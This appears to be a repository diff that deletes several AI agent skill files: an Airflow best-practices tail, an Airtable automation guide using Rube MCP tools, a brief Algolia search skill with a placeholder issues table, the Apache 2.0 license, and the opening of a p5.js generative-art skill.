│ ├── __init__.py
|
||||
│ ├── common/
|
||||
│ │ ├── __init__.py
|
||||
│ │ ├── operators.py # Custom operators
|
||||
│ │ ├── sensors.py # Custom sensors
|
||||
│ │ └── callbacks.py # Alert callbacks
|
||||
│ ├── etl/
|
||||
│ │ ├── customers.py
|
||||
│ │ └── orders.py
|
||||
│ └── ml/
|
||||
│ └── training.py
|
||||
├── plugins/
|
||||
│ └── custom_plugin.py
|
||||
├── tests/
|
||||
│ ├── __init__.py
|
||||
│ ├── test_dags.py
|
||||
│ └── test_operators.py
|
||||
├── docker-compose.yml
|
||||
└── requirements.txt
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
### Do's
|
||||
- **Use TaskFlow API** - Cleaner code, automatic XCom
|
||||
- **Set timeouts** - Prevent zombie tasks
|
||||
- **Use `mode='reschedule'`** - For sensors, free up workers
|
||||
- **Test DAGs** - Unit tests and integration tests
|
||||
- **Idempotent tasks** - Safe to retry
|
||||
|
||||
### Don'ts
|
||||
- **Don't use `depends_on_past=True`** - Creates bottlenecks
|
||||
- **Don't hardcode dates** - Use `{{ ds }}` macros
|
||||
- **Don't use global state** - Tasks should be stateless
|
||||
- **Don't skip catchup blindly** - Understand implications
|
||||
- **Don't put heavy logic in DAG file** - Import from modules
|
||||
|
||||
## Resources
|
||||
|
||||
- [Airflow Documentation](https://airflow.apache.org/docs/)
|
||||
- [Astronomer Guides](https://docs.astronomer.io/learn)
|
||||
- [TaskFlow API](https://airflow.apache.org/docs/apache-airflow/stable/tutorial/taskflow.html)
|
||||
@@ -1,175 +0,0 @@
|
||||
---
|
||||
name: airtable-automation
|
||||
description: "Automate Airtable tasks via Rube MCP (Composio): records, bases, tables, fields, views. Always search tools first for current schemas."
|
||||
requires:
|
||||
mcp: [rube]
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Airtable Automation via Rube MCP
|
||||
|
||||
Automate Airtable operations through Composio's Airtable toolkit via Rube MCP.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
|
||||
- Active Airtable connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `airtable`
|
||||
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
|
||||
|
||||
## Setup
|
||||
|
||||
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
|
||||
|
||||
|
||||
1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
|
||||
2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `airtable`
|
||||
3. If connection is not ACTIVE, follow the returned auth link to complete Airtable auth
|
||||
4. Confirm connection status shows ACTIVE before running any workflows
|
||||
|
||||
## Core Workflows
|
||||
|
||||
### 1. Create and Manage Records
|
||||
|
||||
**When to use**: User wants to create, read, update, or delete records
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AIRTABLE_LIST_BASES` - Discover available bases [Prerequisite]
|
||||
2. `AIRTABLE_GET_BASE_SCHEMA` - Inspect table structure [Prerequisite]
|
||||
3. `AIRTABLE_LIST_RECORDS` - List/filter records [Optional]
|
||||
4. `AIRTABLE_CREATE_RECORD` / `AIRTABLE_CREATE_RECORDS` - Create records [Optional]
|
||||
5. `AIRTABLE_UPDATE_RECORD` / `AIRTABLE_UPDATE_MULTIPLE_RECORDS` - Update records [Optional]
|
||||
6. `AIRTABLE_DELETE_RECORD` / `AIRTABLE_DELETE_MULTIPLE_RECORDS` - Delete records [Optional]
|
||||
|
||||
**Key parameters**:
|
||||
- `baseId`: Base ID (starts with 'app', e.g., 'appXXXXXXXXXXXXXX')
|
||||
- `tableIdOrName`: Table ID (starts with 'tbl') or table name
|
||||
- `fields`: Object mapping field names to values
|
||||
- `recordId`: Record ID (starts with 'rec') for updates/deletes
|
||||
- `filterByFormula`: Airtable formula for filtering
|
||||
- `typecast`: Set true for automatic type conversion
|
||||
|
||||
**Pitfalls**:
|
||||
- pageSize capped at 100; uses offset pagination; changing filters between pages can skip/duplicate rows
|
||||
- CREATE_RECORDS hard limit of 10 records per request; chunk larger imports
|
||||
- Field names are CASE-SENSITIVE and must match schema exactly
|
||||
- 422 UNKNOWN_FIELD_NAME when field names are wrong; 403 for permission issues
|
||||
- INVALID_MULTIPLE_CHOICE_OPTIONS may require typecast=true
|
||||
|
||||
### 2. Search and Filter Records
|
||||
|
||||
**When to use**: User wants to find specific records using formulas
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AIRTABLE_GET_BASE_SCHEMA` - Verify field names and types [Prerequisite]
|
||||
2. `AIRTABLE_LIST_RECORDS` - Query with filterByFormula [Required]
|
||||
3. `AIRTABLE_GET_RECORD` - Get full record details [Optional]
|
||||
|
||||
**Key parameters**:
|
||||
- `filterByFormula`: Airtable formula (e.g., `{Status}='Done'`)
|
||||
- `sort`: Array of sort objects
|
||||
- `fields`: Array of field names to return
|
||||
- `maxRecords`: Max total records across all pages
|
||||
- `offset`: Pagination cursor from previous response
|
||||
|
||||
**Pitfalls**:
|
||||
- Field names in formulas must be wrapped in `{}` and match schema exactly
|
||||
- String values must be quoted: `{Status}='Active'` not `{Status}=Active`
|
||||
- 422 INVALID_FILTER_BY_FORMULA for bad syntax or non-existent fields
|
||||
- Airtable rate limit: ~5 requests/second per base; handle 429 with Retry-After
|
||||
|
||||
### 3. Manage Fields and Schema
|
||||
|
||||
**When to use**: User wants to create or modify table fields
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AIRTABLE_GET_BASE_SCHEMA` - Inspect current schema [Prerequisite]
|
||||
2. `AIRTABLE_CREATE_FIELD` - Create a new field [Optional]
|
||||
3. `AIRTABLE_UPDATE_FIELD` - Rename/describe a field [Optional]
|
||||
4. `AIRTABLE_UPDATE_TABLE` - Update table metadata [Optional]
|
||||
|
||||
**Key parameters**:
|
||||
- `name`: Field name
|
||||
- `type`: Field type (singleLineText, number, singleSelect, etc.)
|
||||
- `options`: Type-specific options (choices for select, precision for number)
|
||||
- `description`: Field description
|
||||
|
||||
**Pitfalls**:
|
||||
- UPDATE_FIELD only changes name/description, NOT type/options; create a replacement field and migrate
|
||||
- Computed fields (formula, rollup, lookup) cannot be created via API
|
||||
- 422 when type options are missing or malformed
|
||||
|
||||
### 4. Manage Comments
|
||||
|
||||
**When to use**: User wants to view or add comments on records
|
||||
|
||||
**Tool sequence**:
|
||||
1. `AIRTABLE_LIST_COMMENTS` - List comments on a record [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `baseId`: Base ID
|
||||
- `tableIdOrName`: Table identifier
|
||||
- `recordId`: Record ID (17 chars, starts with 'rec')
|
||||
- `pageSize`: Comments per page (max 100)
|
||||
|
||||
**Pitfalls**:
|
||||
- Record IDs must be exactly 17 characters starting with 'rec'
|
||||
|
||||
## Common Patterns
|
||||
|
||||
### Airtable Formula Syntax
|
||||
|
||||
**Comparison**:
|
||||
- `{Status}='Done'` - Equals
|
||||
- `{Priority}>1` - Greater than
|
||||
- `{Name}!=''` - Not empty
|
||||
|
||||
**Functions**:
|
||||
- `AND({A}='x', {B}='y')` - Both conditions
|
||||
- `OR({A}='x', {A}='y')` - Either condition
|
||||
- `FIND('test', {Name})>0` - Contains text
|
||||
- `IS_BEFORE({Due Date}, TODAY())` - Date comparison
|
||||
|
||||
**Escape rules**:
|
||||
- Single quotes in values: double them (`{Name}='John''s Company'`)
|
||||
|
||||
### Pagination
|
||||
|
||||
- Set `pageSize` (max 100)
|
||||
- Check response for `offset` string
|
||||
- Pass `offset` to next request unchanged
|
||||
- Keep filters/sorts/view stable between pages
|
||||
|
||||
## Known Pitfalls
|
||||
|
||||
**ID Formats**:
|
||||
- Base IDs: `appXXXXXXXXXXXXXX` (17 chars)
|
||||
- Table IDs: `tblXXXXXXXXXXXXXX` (17 chars)
|
||||
- Record IDs: `recXXXXXXXXXXXXXX` (17 chars)
|
||||
- Field IDs: `fldXXXXXXXXXXXXXX` (17 chars)
|
||||
|
||||
**Batch Limits**:
|
||||
- CREATE_RECORDS: max 10 per request
|
||||
- UPDATE_MULTIPLE_RECORDS: max 10 per request
|
||||
- DELETE_MULTIPLE_RECORDS: max 10 per request
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Task | Tool Slug | Key Params |
|
||||
|------|-----------|------------|
|
||||
| List bases | AIRTABLE_LIST_BASES | (none) |
|
||||
| Get schema | AIRTABLE_GET_BASE_SCHEMA | baseId |
|
||||
| List records | AIRTABLE_LIST_RECORDS | baseId, tableIdOrName |
|
||||
| Get record | AIRTABLE_GET_RECORD | baseId, tableIdOrName, recordId |
|
||||
| Create record | AIRTABLE_CREATE_RECORD | baseId, tableIdOrName, fields |
|
||||
| Create records | AIRTABLE_CREATE_RECORDS | baseId, tableIdOrName, records |
|
||||
| Update record | AIRTABLE_UPDATE_RECORD | baseId, tableIdOrName, recordId, fields |
|
||||
| Update records | AIRTABLE_UPDATE_MULTIPLE_RECORDS | baseId, tableIdOrName, records |
|
||||
| Delete record | AIRTABLE_DELETE_RECORD | baseId, tableIdOrName, recordId |
|
||||
| Create field | AIRTABLE_CREATE_FIELD | baseId, tableIdOrName, name, type |
|
||||
| Update field | AIRTABLE_UPDATE_FIELD | baseId, tableIdOrName, fieldId |
|
||||
| Update table | AIRTABLE_UPDATE_TABLE | baseId, tableIdOrName, name |
|
||||
| List comments | AIRTABLE_LIST_COMMENTS | baseId, tableIdOrName, recordId |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,70 +0,0 @@
|
||||
---
|
||||
name: algolia-search
|
||||
description: "Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# Algolia Search Integration
|
||||
|
||||
## Patterns
|
||||
|
||||
### React InstantSearch with Hooks
|
||||
|
||||
Modern React InstantSearch setup using hooks for type-ahead search.
|
||||
|
||||
Uses react-instantsearch-hooks-web package with algoliasearch client.
|
||||
Widgets are components that can be customized with classnames.
|
||||
|
||||
Key hooks:
|
||||
- useSearchBox: Search input handling
|
||||
- useHits: Access search results
|
||||
- useRefinementList: Facet filtering
|
||||
- usePagination: Result pagination
|
||||
- useInstantSearch: Full state access
|
||||
|
||||
|
||||
### Next.js Server-Side Rendering
|
||||
|
||||
SSR integration for Next.js with react-instantsearch-nextjs package.
|
||||
|
||||
Use <InstantSearchNext> instead of <InstantSearch> for SSR.
|
||||
Supports both Pages Router and App Router (experimental).
|
||||
|
||||
Key considerations:
|
||||
- Set dynamic = 'force-dynamic' for fresh results
|
||||
- Handle URL synchronization with routing prop
|
||||
- Use getServerState for initial state
|
||||
|
||||
|
||||
### Data Synchronization and Indexing
|
||||
|
||||
Indexing strategies for keeping Algolia in sync with your data.
|
||||
|
||||
Three main approaches:
|
||||
1. Full Reindexing - Replace entire index (expensive)
|
||||
2. Full Record Updates - Replace individual records
|
||||
3. Partial Updates - Update specific attributes only
|
||||
|
||||
Best practices:
|
||||
- Batch records (ideal: 10MB, 1K-10K records per batch)
|
||||
- Use incremental updates when possible
|
||||
- partialUpdateObjects for attribute-only changes
|
||||
- Avoid deleteBy (computationally expensive)
|
||||
|
||||
|
||||
## ⚠️ Sharp Edges
|
||||
|
||||
| Issue | Severity | Solution |
|
||||
|-------|----------|----------|
|
||||
| Issue | critical | See docs |
|
||||
| Issue | high | See docs |
|
||||
| Issue | medium | See docs |
|
||||
| Issue | medium | See docs |
|
||||
| Issue | medium | See docs |
|
||||
| Issue | medium | See docs |
|
||||
| Issue | medium | See docs |
|
||||
| Issue | medium | See docs |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,202 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,410 +0,0 @@
|
||||
---
|
||||
name: algorithmic-art
|
||||
description: "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields,..."
|
||||
license: Complete terms in LICENSE.txt
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
Algorithmic philosophies are computational aesthetic movements that are then expressed through code. Output .md files (philosophy), .html files (interactive viewer), and .js files (generative algorithms).
|
||||
|
||||
This happens in two steps:
|
||||
1. Algorithmic Philosophy Creation (.md file)
|
||||
2. Express by creating p5.js generative art (.html + .js files)
|
||||
|
||||
First, undertake this task:
|
||||
|
||||
## ALGORITHMIC PHILOSOPHY CREATION
|
||||
|
||||
To begin, create an ALGORITHMIC PHILOSOPHY (not static images or templates) that will be interpreted through:
|
||||
- Computational processes, emergent behavior, mathematical beauty
|
||||
- Seeded randomness, noise fields, organic systems
|
||||
- Particles, flows, fields, forces
|
||||
- Parametric variation and controlled chaos
|
||||
|
||||
### THE CRITICAL UNDERSTANDING
|
||||
- What is received: Some subtle input or instructions by the user to take into account, but use as a foundation; it should not constrain creative freedom.
|
||||
- What is created: An algorithmic philosophy/generative aesthetic movement.
|
||||
- What happens next: The same version receives the philosophy and EXPRESSES IT IN CODE - creating p5.js sketches that are 90% algorithmic generation, 10% essential parameters.
|
||||
|
||||
Consider this approach:
|
||||
- Write a manifesto for a generative art movement
|
||||
- The next phase involves writing the algorithm that brings it to life
|
||||
|
||||
The philosophy must emphasize: Algorithmic expression. Emergent behavior. Computational beauty. Seeded variation.
|
||||
|
||||
### HOW TO GENERATE AN ALGORITHMIC PHILOSOPHY
|
||||
|
||||
**Name the movement** (1-2 words): "Organic Turbulence" / "Quantum Harmonics" / "Emergent Stillness"
|
||||
|
||||
**Articulate the philosophy** (4-6 paragraphs - concise but complete):
|
||||
|
||||
To capture the ALGORITHMIC essence, express how this philosophy manifests through:
|
||||
- Computational processes and mathematical relationships?
|
||||
- Noise functions and randomness patterns?
|
||||
- Particle behaviors and field dynamics?
|
||||
- Temporal evolution and system states?
|
||||
- Parametric variation and emergent complexity?
|
||||
|
||||
**CRITICAL GUIDELINES:**
|
||||
- **Avoid redundancy**: Each algorithmic aspect should be mentioned once. Avoid repeating concepts about noise theory, particle dynamics, or mathematical principles unless adding new depth.
|
||||
- **Emphasize craftsmanship REPEATEDLY**: The philosophy MUST stress multiple times that the final algorithm should appear as though it took countless hours to develop, was refined with care, and comes from someone at the absolute top of their field. This framing is essential - repeat phrases like "meticulously crafted algorithm," "the product of deep computational expertise," "painstaking optimization," "master-level implementation."
|
||||
- **Leave creative space**: Be specific about the algorithmic direction, but concise enough that the next Claude has room to make interpretive implementation choices at an extremely high level of craftsmanship.
|
||||
|
||||
The philosophy must guide the next version to express ideas ALGORITHMICALLY, not through static images. Beauty lives in the process, not the final frame.
|
||||
|
||||
### PHILOSOPHY EXAMPLES
|
||||
|
||||
**"Organic Turbulence"**
|
||||
Philosophy: Chaos constrained by natural law, order emerging from disorder.
|
||||
Algorithmic expression: Flow fields driven by layered Perlin noise. Thousands of particles following vector forces, their trails accumulating into organic density maps. Multiple noise octaves create turbulent regions and calm zones. Color emerges from velocity and density - fast particles burn bright, slow ones fade to shadow. The algorithm runs until equilibrium - a meticulously tuned balance where every parameter was refined through countless iterations by a master of computational aesthetics.
|
||||
|
||||
**"Quantum Harmonics"**
|
||||
Philosophy: Discrete entities exhibiting wave-like interference patterns.
|
||||
Algorithmic expression: Particles initialized on a grid, each carrying a phase value that evolves through sine waves. When particles are near, their phases interfere - constructive interference creates bright nodes, destructive creates voids. Simple harmonic motion generates complex emergent mandalas. The result of painstaking frequency calibration where every ratio was carefully chosen to produce resonant beauty.
|
||||
|
||||
**"Recursive Whispers"**
|
||||
Philosophy: Self-similarity across scales, infinite depth in finite space.
|
||||
Algorithmic expression: Branching structures that subdivide recursively. Each branch slightly randomized but constrained by golden ratios. L-systems or recursive subdivision generate tree-like forms that feel both mathematical and organic. Subtle noise perturbations break perfect symmetry. Line weights diminish with each recursion level. Every branching angle the product of deep mathematical exploration.
|
||||
|
||||
**"Field Dynamics"**
|
||||
Philosophy: Invisible forces made visible through their effects on matter.
|
||||
Algorithmic expression: Vector fields constructed from mathematical functions or noise. Particles born at edges, flowing along field lines, dying when they reach equilibrium or boundaries. Multiple fields can attract, repel, or rotate particles. The visualization shows only the traces - ghost-like evidence of invisible forces. A computational dance meticulously choreographed through force balance.
|
||||
|
||||
**"Stochastic Crystallization"**
|
||||
Philosophy: Random processes crystallizing into ordered structures.
|
||||
Algorithmic expression: Randomized circle packing or Voronoi tessellation. Start with random points, let them evolve through relaxation algorithms. Cells push apart until equilibrium. Color based on cell size, neighbor count, or distance from center. The organic tiling that emerges feels both random and inevitable. Every seed produces unique crystalline beauty - the mark of a master-level generative algorithm.
|
||||
|
||||
*These are condensed examples. The actual algorithmic philosophy should be 4-6 substantial paragraphs.*
|
||||
|
||||
### ESSENTIAL PRINCIPLES
|
||||
- **ALGORITHMIC PHILOSOPHY**: Creating a computational worldview to be expressed through code
|
||||
- **PROCESS OVER PRODUCT**: Always emphasize that beauty emerges from the algorithm's execution - each run is unique
|
||||
- **PARAMETRIC EXPRESSION**: Ideas communicate through mathematical relationships, forces, behaviors - not static composition
|
||||
- **ARTISTIC FREEDOM**: The next Claude interprets the philosophy algorithmically - provide creative implementation room
|
||||
- **PURE GENERATIVE ART**: This is about making LIVING ALGORITHMS, not static images with randomness
|
||||
- **EXPERT CRAFTSMANSHIP**: Repeatedly emphasize the final algorithm must feel meticulously crafted, refined through countless iterations, the product of deep expertise by someone at the absolute top of their field in computational aesthetics
|
||||
|
||||
**The algorithmic philosophy should be 4-6 paragraphs long.** Fill it with poetic computational philosophy that brings together the intended vision. Avoid repeating the same points. Output this algorithmic philosophy as a .md file.
|
||||
|
||||
---
|
||||
|
||||
## DEDUCING THE CONCEPTUAL SEED
|
||||
|
||||
**CRITICAL STEP**: Before implementing the algorithm, identify the subtle conceptual thread from the original request.
|
||||
|
||||
**THE ESSENTIAL PRINCIPLE**:
|
||||
The concept is a **subtle, niche reference embedded within the algorithm itself** - not always literal, always sophisticated. Someone familiar with the subject should feel it intuitively, while others simply experience a masterful generative composition. The algorithmic philosophy provides the computational language. The deduced concept provides the soul - the quiet conceptual DNA woven invisibly into parameters, behaviors, and emergence patterns.
|
||||
|
||||
This is **VERY IMPORTANT**: The reference must be so refined that it enhances the work's depth without announcing itself. Think like a jazz musician quoting another song through algorithmic harmony - only those who know will catch it, but everyone appreciates the generative beauty.
|
||||
|
||||
---
|
||||
|
||||
## P5.JS IMPLEMENTATION
|
||||
|
||||
With the philosophy AND conceptual framework established, express it through code. Pause to gather thoughts before proceeding. Use only the algorithmic philosophy created and the instructions below.
|
||||
|
||||
### ⚠️ STEP 0: READ THE TEMPLATE FIRST ⚠️
|
||||
|
||||
**CRITICAL: BEFORE writing any HTML:**
|
||||
|
||||
1. **Read** `templates/viewer.html` using the Read tool
|
||||
2. **Study** the exact structure, styling, and Anthropic branding
|
||||
3. **Use that file as the LITERAL STARTING POINT** - not just inspiration
|
||||
4. **Keep all FIXED sections exactly as shown** (header, sidebar structure, Anthropic colors/fonts, seed controls, action buttons)
|
||||
5. **Replace only the VARIABLE sections** marked in the file's comments (algorithm, parameters, UI controls for parameters)
|
||||
|
||||
**Avoid:**
|
||||
- ❌ Creating HTML from scratch
|
||||
- ❌ Inventing custom styling or color schemes
|
||||
- ❌ Using system fonts or dark themes
|
||||
- ❌ Changing the sidebar structure
|
||||
|
||||
**Follow these practices:**
|
||||
- ✅ Copy the template's exact HTML structure
|
||||
- ✅ Keep Anthropic branding (Poppins/Lora fonts, light colors, gradient backdrop)
|
||||
- ✅ Maintain the sidebar layout (Seed → Parameters → Colors? → Actions)
|
||||
- ✅ Replace only the p5.js algorithm and parameter controls
|
||||
|
||||
The template is the foundation. Build on it, don't rebuild it.
|
||||
|
||||
---
|
||||
|
||||
To create gallery-quality computational art that lives and breathes, use the algorithmic philosophy as the foundation.
|
||||
|
||||
### TECHNICAL REQUIREMENTS
|
||||
|
||||
**Seeded Randomness (Art Blocks Pattern)**:
|
||||
```javascript
|
||||
// ALWAYS use a seed for reproducibility
|
||||
let seed = 12345; // or hash from user input
|
||||
randomSeed(seed);
|
||||
noiseSeed(seed);
|
||||
```
|
||||
|
||||
**Parameter Structure - FOLLOW THE PHILOSOPHY**:
|
||||
|
||||
To establish parameters that emerge naturally from the algorithmic philosophy, consider: "What qualities of this system can be adjusted?"
|
||||
|
||||
```javascript
|
||||
let params = {
|
||||
seed: 12345, // Always include seed for reproducibility
|
||||
// colors
|
||||
// Add parameters that control YOUR algorithm:
|
||||
// - Quantities (how many?)
|
||||
// - Scales (how big? how fast?)
|
||||
// - Probabilities (how likely?)
|
||||
// - Ratios (what proportions?)
|
||||
// - Angles (what direction?)
|
||||
// - Thresholds (when does behavior change?)
|
||||
};
|
||||
```
|
||||
|
||||
**To design effective parameters, focus on the properties the system needs to be tunable rather than thinking in terms of "pattern types".**
|
||||
|
||||
**Core Algorithm - EXPRESS THE PHILOSOPHY**:
|
||||
|
||||
